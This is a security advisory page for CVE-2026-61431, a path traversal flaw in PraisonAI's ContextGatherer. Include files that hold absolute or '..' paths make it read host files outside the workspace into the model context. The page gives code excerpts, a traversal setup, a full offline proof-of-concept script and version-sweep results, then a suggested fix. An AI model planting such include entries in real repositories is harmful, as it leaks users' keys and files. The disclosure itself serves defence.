INCIDENT MAP

Browse / Sensitive Data Disclosure / CVE-2026-61431

PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace

CVE-2026-61431 ยท 2026-10-08 moderate

Class
Sensitive Data Disclosure (filed by a model that read the advisory)
Technique
Path traversal and file access
Also involves
AI Framework and Platform Flaws
Affected
praisonai (PyPI)
CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS
0.4% chance of exploitation in 30 days

How it works, in short

Include entries in a repository's context files may be absolute or contain traversal, so the gatherer reads host files outside the workspace and adds them to the model context. (Our summary, written by a model. The source text is below.)

Details

ContextGatherer include resolution permits absolute and traversal reads outside the workspace

Summary

PraisonAI's praisonai.ui.context.ContextGatherer treats the configured directory as the project workspace, but project-controlled .praisoncontext and .praisoninclude files can name absolute paths or .. traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.

Technical Details

ContextGatherer.get_include_paths() reads include entries directly from .praisoncontext and .praisoninclude under the configured workspace. It stores each non-comment line as a raw include path:

include_file = os.path.join(self.directory, '.praisoncontext')
if os.path.exists(include_file):
    with open(include_file, 'r') as f:
        include_paths.extend(
            line.strip() for line in f
            if line.strip() and not line.startswith('#')
        )

When .praisoncontext is present, gather_context() passes every include entry through os.path.join(self.directory, include_path) and then processes the result:

for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

The .praisoninclude path has the same unsafe join after first processing the workspace:

process_path(self.directory)
for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

There is no canonicalization or containment check before process_path() opens files or recursively walks directories. In Python, os.path.join(workspace, absolute_path) returns the absolute path and discards workspace; os.path.join(workspace, "../outside.py") remains outside the workspace once normalized by filesystem operations. add_file_content() then opens the supplied path and appends file contents to the context before display bookkeeping:

with open(file_path, 'r', encoding='utf-8') as f:
    content = f.read()
    context.append(
        f"File: {file_path}\n\n{content}\n\n{'=' * 50}\n"
    )
    self.included_files.append(
        Path(file_path).relative_to(self.directory)
    )

For parent traversal paths, Path(file_path).relative_to(self.directory) raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.

PoV

The minimal vulnerable shape is a workspace containing only a normal source file and one include file:

workspace/
  .praisoncontext      # contains: ../outside_secret.py
  inside.py
outside_secret.py      # outside the workspace

Running ContextGatherer(directory="workspace").run() returns context containing outside_secret.py even though that file is outside the configured workspace. The same result occurs when .praisoncontext contains an absolute path to the outside file, and when .praisoninclude contains either the parent traversal path or the absolute path.

PoC

Save the self-contained script from the Appendix below as context_include_workspace_pov.py, then run it against a local checkout:

export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai" python context_include_workspace_pov.py

Expected vulnerable output:

{
  "expectations": {
    "control_inside_file_is_collected": true,
    "control_without_include_does_not_read_outside": true,
    "praisoncontext_absolute_path_discloses_outside": true,
    "praisoncontext_parent_traversal_discloses_outside": true,
    "praisoninclude_absolute_path_discloses_outside": true,
    "praisoninclude_parent_traversal_discloses_outside": true
  },
  "source_commit": "1620b49f36945d8cc8ee5635b906c960df5097a0",
  "source_file": "$PRAISONAI/src/praisonai/praisonai/ui/context.py",
  "vulnerable": true
}

The version sweep sampled old and current releases. All sampled versions are vulnerable:

{"ref":"v2.3.10","praisonai_version":"2.3.10","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v2.3.11","praisonai_version":"2.3.11","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.8.1","praisonai_version":"3.8.1","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.9.26","praisonai_version":"3.9.26","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.4.12","praisonai_version":"4.4.12","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.16","praisonai_version":"4.5.16","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.128","praisonai_version":"4.5.128","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.58","praisonai_version":"4.6.58","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.62","praisonai_version":"4.6.62","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.63","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"HEAD","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}

No external service, live target, real credential, model provider, or network access is needed for reproduction.

Impact

If a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that ContextGatherer considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.

This report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.

Suggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Relevant CWEs:

Suggested Fix

Make include-file path resolution fail closed around a single workspace-containment helper:

Minimal containment shape:

def _resolve_workspace_include(workspace: str, include_path: str) -> Path:
    root = Path(workspace).resolve()
    candidate = Path(include_path)
    if not candidate.is_absolute():
        candidate = root / candidate
    resolved = candidate.resolve()
    try:
        resolved.relative_to(root)
    except ValueError as exc:
        raise PermissionError(f"Context include path is outside workspace: {include_path}") from exc
    return resolved

Affected Package/Versions

Suggested affected range, based on the sampled source sweep:

praisonai >= 2.3.10, <= 4.6.63

The exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.

Advisory History

No checked public advisory or local prior report matched praisonai.ui.context.ContextGatherer reading outside-workspace files because project-controlled .praisoncontext or .praisoninclude entries contain absolute paths or .. traversal paths.

Closest public comparators are related but distinct:

Public search found no hits for PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read, praisoninclude ContextGatherer, or praisonai.ui.context in public GitHub advisory text.

References

Appendix: Self-Contained Context Include Workspace PoC

#!/usr/bin/env python3
"""Offline PoV for PraisonAI ContextGatherer include-file workspace escape."""

from __future__ import annotations

import contextlib
import io
import inspect
import json
import logging
import subprocess
import tempfile
from pathlib import Path

from praisonai.ui.context import ContextGatherer


CANARY = "PRAISON_CONTEXT_CANARY=outside-workspace"
logging.getLogger("praisonai.ui.context").disabled = True


def imported_source_file() -> Path:
    return Path(inspect.getfile(ContextGatherer)).resolve()


def git_head(source_file: Path) -> str:
    try:
        repo_root = next(parent for parent in source_file.parents if (parent / ".git").exists())
        return subprocess.check_output(
            ["git", "-C", str(repo_root), "rev-parse", "HEAD"],
            text=True,
            stderr=subprocess.DEVNULL,
        ).strip()
    except Exception:
        return "unknown"


def gather_context(workspace: Path) -> tuple[str, str]:
    stdout = io.StringIO()
    stderr = io.StringIO()
    with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr):
        context, _tokens, _tree = ContextGatherer(
            directory=str(workspace),
            max_file_size=100_000,
            max_tokens=100_000,
        ).run()
    return context, stdout.getvalue() + stderr.getvalue()


def reset_include_files(workspace: Path) -> None:
    for name in (".praisoncontext", ".praisoninclude"):
        path = workspace / name
        if path.exists():
            path.unlink()


def redact(value, temp_root: Path, source_file: Path):
    if isinstance(value, str):
        source_root = next((parent for parent in source_file.parents if (parent / ".git").exists()), source_file.parents[4])
        return value.replace(str(temp_root), "$TMPDIR").replace(str(source_root), "$PRAISONAI")
    if isinstance(value, list):
        return [redact(item, temp_root, source_file) for item in value]
    if isinstance(value, dict):
        return {key: redact(item, temp_root, source_file) for key, item in value.items()}
    return value


def main() -> None:
    source_file = imported_source_file()
    with tempfile.TemporaryDirectory(prefix="praison-context-include-pov-") as tmp:
        temp_root = Path(tmp)
        workspace = temp_root / "workspace"
        workspace.mkdir()
        inside = workspace / "inside.py"
        outside = temp_root / "outside_secret.py"
        inside.write_text("INSIDE_ONLY = True\n", encoding="utf-8")
        outside.write_text(f"{CANARY}\n", encoding="utf-8")

        contexts = {}
        logs = {}

        reset_include_files(workspace)
        contexts["control_no_include"], logs["control_no_include"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoncontext_parent_traversal"], logs["praisoncontext_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoncontext_absolute_path"], logs["praisoncontext_absolute_path"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoninclude_parent_traversal"], logs["praisoninclude_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoninclude_absolute_path"], logs["praisoninclude_absolute_path"] = gather_context(workspace)

        expectations = {
            "control_without_include_does_not_read_outside": CANARY not in contexts["control_no_include"],
            "control_inside_file_is_collected": "INSIDE_ONLY = True" in contexts["control_no_include"],
            "praisoncontext_parent_traversal_discloses_outside": CANARY in contexts["praisoncontext_parent_traversal"],
            "praisoncontext_absolute_path_discloses_outside": CANARY in contexts["praisoncontext_absolute_path"],
            "praisoninclude_parent_traversal_discloses_outside": CANARY in contexts["praisoninclude_parent_traversal"],
            "praisoninclude_absolute_path_discloses_outside": CANARY in contexts["praisoninclude_absolute_path"],
        }

        output = {
            "source_commit": git_head(source_file),
            "source_file": str(source_file),
            "workspace_root": str(workspace),
            "outside_file": str(outside),
            "vulnerable": all(expectations.values()),
            "expectations": expectations,
            "context_contains": {
                name: {
                    "contains_inside": "INSIDE_ONLY = True" in context,
                    "contains_outside_canary": CANARY in context,
                }
                for name, context in contexts.items()
            },
            "captured_logs": logs,
        }

        print(json.dumps(redact(output, temp_root, source_file), indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

References

Source: GitHub Advisory Database, used under CC BY 4.0.